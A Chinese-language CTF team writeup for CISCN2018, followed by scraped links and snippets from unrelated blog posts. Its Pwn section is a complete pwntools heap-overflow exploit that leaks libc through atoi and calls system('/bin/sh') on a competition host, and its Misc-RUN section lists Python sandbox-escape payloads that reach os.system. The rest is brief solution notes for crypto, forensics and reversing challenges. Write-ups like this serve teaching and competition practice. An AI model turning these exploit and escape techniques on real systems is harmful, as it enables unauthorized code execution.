The Lounge战队 CISCN2018 Writeup

Pwn-Supermarket

from pwn import *

def add(name,price,size,des):
p.sendlineafter(">> ","1")
p.sendlineafter("name:",name)
p.sendlineafter("price:",str(price))
p.sendlineafter("descrip_size:",str(size))
p.sendlineafter("description:",des) def listall():
p.sendlineafter(">> ","3") def delete(name):
p.sendlineafter(">> ","2")
p.sendlineafter("name:",name) def change_price(name,price):
p.sendlineafter(">> ","4")
p.sendafter("name:",name)
p.sendlineafter("in:",str(price)) def change_des(name,size,des):
p.sendlineafter(">> ","5")
p.sendlineafter("name:",name)
p.sendlineafter("descrip_size:",str(size))
p.sendlineafter("description:",des) '''
atoi 0xf7643050 0xf75e4050
puts 0xf75f4140 0xf7603140
free 0xf765d750 0xf75af750
''' local=0
if local:
p=process('./task_supermarket')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
atoi_offset=libc.symbols['atoi']
sys_offset=libc.symbols['system']
else:
p=remote('117.78.27.192',32285)
atoi_offset=0x2d050
sys_offset=0x3a940 add('aaaa',100,0x50,'A'*0x50)
add('1111',100,0x50,'A'*0x50)
add('b'*12+'\x41',100,0x38,'B'*0x38)
add('cccc',100,0x60,'C'*0x60)
add('dddd',100,0x20,'D'*0x20)
delete('b'*12+'\x41')
change_des('cccc',0x20,'M'*0x24+p32(0x41)) add('eeee',100,0x38,'EEEE')
add('ffff',100,0x38,p32(101)+p32(0x38)+p32(0x804b048)+p32(0x41))
listall()
p.recvuntil("101, des.") data=p.recv(4)
print data
atoi_addr=u32(data.ljust(4,'\x00'))
print hex(atoi_addr) libc_base=atoi_addr-atoi_offset
system=libc_base+sys_offset
print "system",hex(system) change_des('eeee',0x38,p64(system)) p.sendlineafter(">> ","/bin/sh\x00")
p.interactive()

Web-EasyWeb

无力吐槽的题目,空密码。

Crypto-Flag_in_your_hand

基本逻辑很简单,看showFlag函数。

判断ic状态来决定是否是正确Token。

文件唯一有改动ic的地方就是这了,看一下逻辑。就是a数组所有值-3转成ASCII字符就是正确Token。

Misc-寻找入侵者

用mac地址爆破出honey密码

然后使用airdecap-ng提取出另一个数据包,在包里面发现出题人博客以及key.rar的下载地址,下载后解压得到key.pcap,发现可疑字符串,即为flag

Misc-Memory_Forensic

很荣幸是三血。其实能更快。首先用IDA看一下逻辑。发现已经出现了”CISCN{“ “}” 和几个疑似flag的字符串,然后他会用snprintf去写内存,那么真flag应该会出现在内存中。
我是用的Vmware14配Mac
OS High Siera,这样能拿到完整内存Dump。首先关闭System Integrity Protection,然后kextutil
agent.kext加载,然后它会黑屏,在黑屏一瞬间切出去,暂停虚拟机。拿到整个内存Dump。然后用16进制编辑器搜索“CISCN{”就行。

Misc-Picture

首先给了个假的PNG,其实是JPG。FFD9结尾处有数据,提出来,file一下发现是zlib数据,然后直接binwalk解压,给了个Base64字符串,解密后是KP什么的,还有Python
code,当时想偏了,以为是PYC文件,修了半天发现格式全错。后来把头部改成PK,是个正常的ZIP文件。然后要密码。

注意右边注释,Python控制台报错?试一下。

没错,integer division or modulo by zero这是密码。成功解压后是个UUEncode,解密就行了。

Misc-验证码

没啥好说的,签到题,进去就有flag。

Misc-RUN

Python沙箱逃逸,试了很多Payload。所有的popen都会报unkonw error。所有的二阶dict也会报错,后来想到找一个globals
x = [x for x in [].class.base.subclasses() if x.name == ‘ca’+’tch_warnings’][0].init
x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’

Reverse-RE

程序先检测flag格式头,然后根据“_”将内容分为三个部分,分别加密之后与字符串比较,前两个部分的内容很容易得到,解开md5值为tofu和gana,第三部分flag的MD5无法解开,卡了两三个小时,看到第三个函数与其他两个的区别是后面将大量数据写到一个叫“flag”的文件中,但是需要异或的两个key值,分别和数据奇数项和偶数项异或,因为看到第一个数据和第三个数据相同,猜测文件是jepg格式,果然解出来是张图片,连在一起即为完整flag.

CISCN2018 Writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  8. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  9. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

随机推荐

  1. 转载 如何使用批处理 动态改变path实现改变JDK版本

    http://www.cnblogs.com/xdp-gacl/p/5209386.html 1 @echo off 2 3 rem --- Base Config 配置JDK的安装目录 --- 4 ...

  2. 3.Shell 接收用户的参数

    1.Shell 传递参数 我们可以在执行 Shell 脚本时,向脚本传递参数,Linux系统中的Shell脚本语言已经内设了用于接收参数的变量,变量之间可以使用空格间隔. 例如$0对应的是当前Shel ...

  3. opencv,用摄像头识别贴片元件的定位和元件的角度(转载)

    经过半个月学习opencv有点小成果,用摄像头识别贴片元件的定位和元件的角度(转载) (2013-04-17 16:00:22) 转载▼   分类: 学习笔记 先说一下开源的opencv真是一件伟大的 ...

  4. 如何在国内跑Kubernetes的minikube

    跑minikube start老是被卡住,得到如以下的结果 minikube start --registry-mirror=https://registry.docker-cn.com miniku ...

  5. python操作kafka实践

    1.先看最简单的场景,生产者生产消息,消费者接收消息,下面是生产者的简单代码. ------------------------------------------------------------ ...

  6. 转C++之stl::string写时拷贝导致的问题

    前几天在开发某些数据结构到文件的 Dump 和 Load 功能的时候, 遇到的一个 bug . [问题复现] 问题主要出在 Load 过程中,从文件读取数据的时候, 直接使用 fread 的去操作 s ...

  7. Easy UI 入门

    Easy UI常用于企业级开发的UI和后台开发的UI,比较重. 以下组件中的加载方式,属性和事件,方法和组件种类并不全,只是作为参考和入门学习. 1.Draggable(拖动)组件 不依赖其他组件 1 ...

  8. 【u-boot】u-boot中initf_dm()函数执行流程(转)

    前部分设备模型初始化 为了便于阅读,删掉部分代码,只留关键的过程: static int initf_dm(void){    int ret;    ret = dm_init_and_scan(t ...

  9. Java一致性Hash算法的实现

    哈希hashhash的意思是散列,目的将一组输入的数据均匀的分开.打散,往往用来配合路由算法做负载均衡,多用在分布式系统中.比如memcached它只提供了K V的存储.读取,如果使用了多台memca ...

  10. 解决tomcat控制台乱码+清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间问题

    一.乱码 1.打开Tomcat的目录,找到conf文件夹,一般修改server.xml中的编码集,改为utf-8即可 2.若server.xml中编码设置的就是utf-8,可以修改logging.pr ...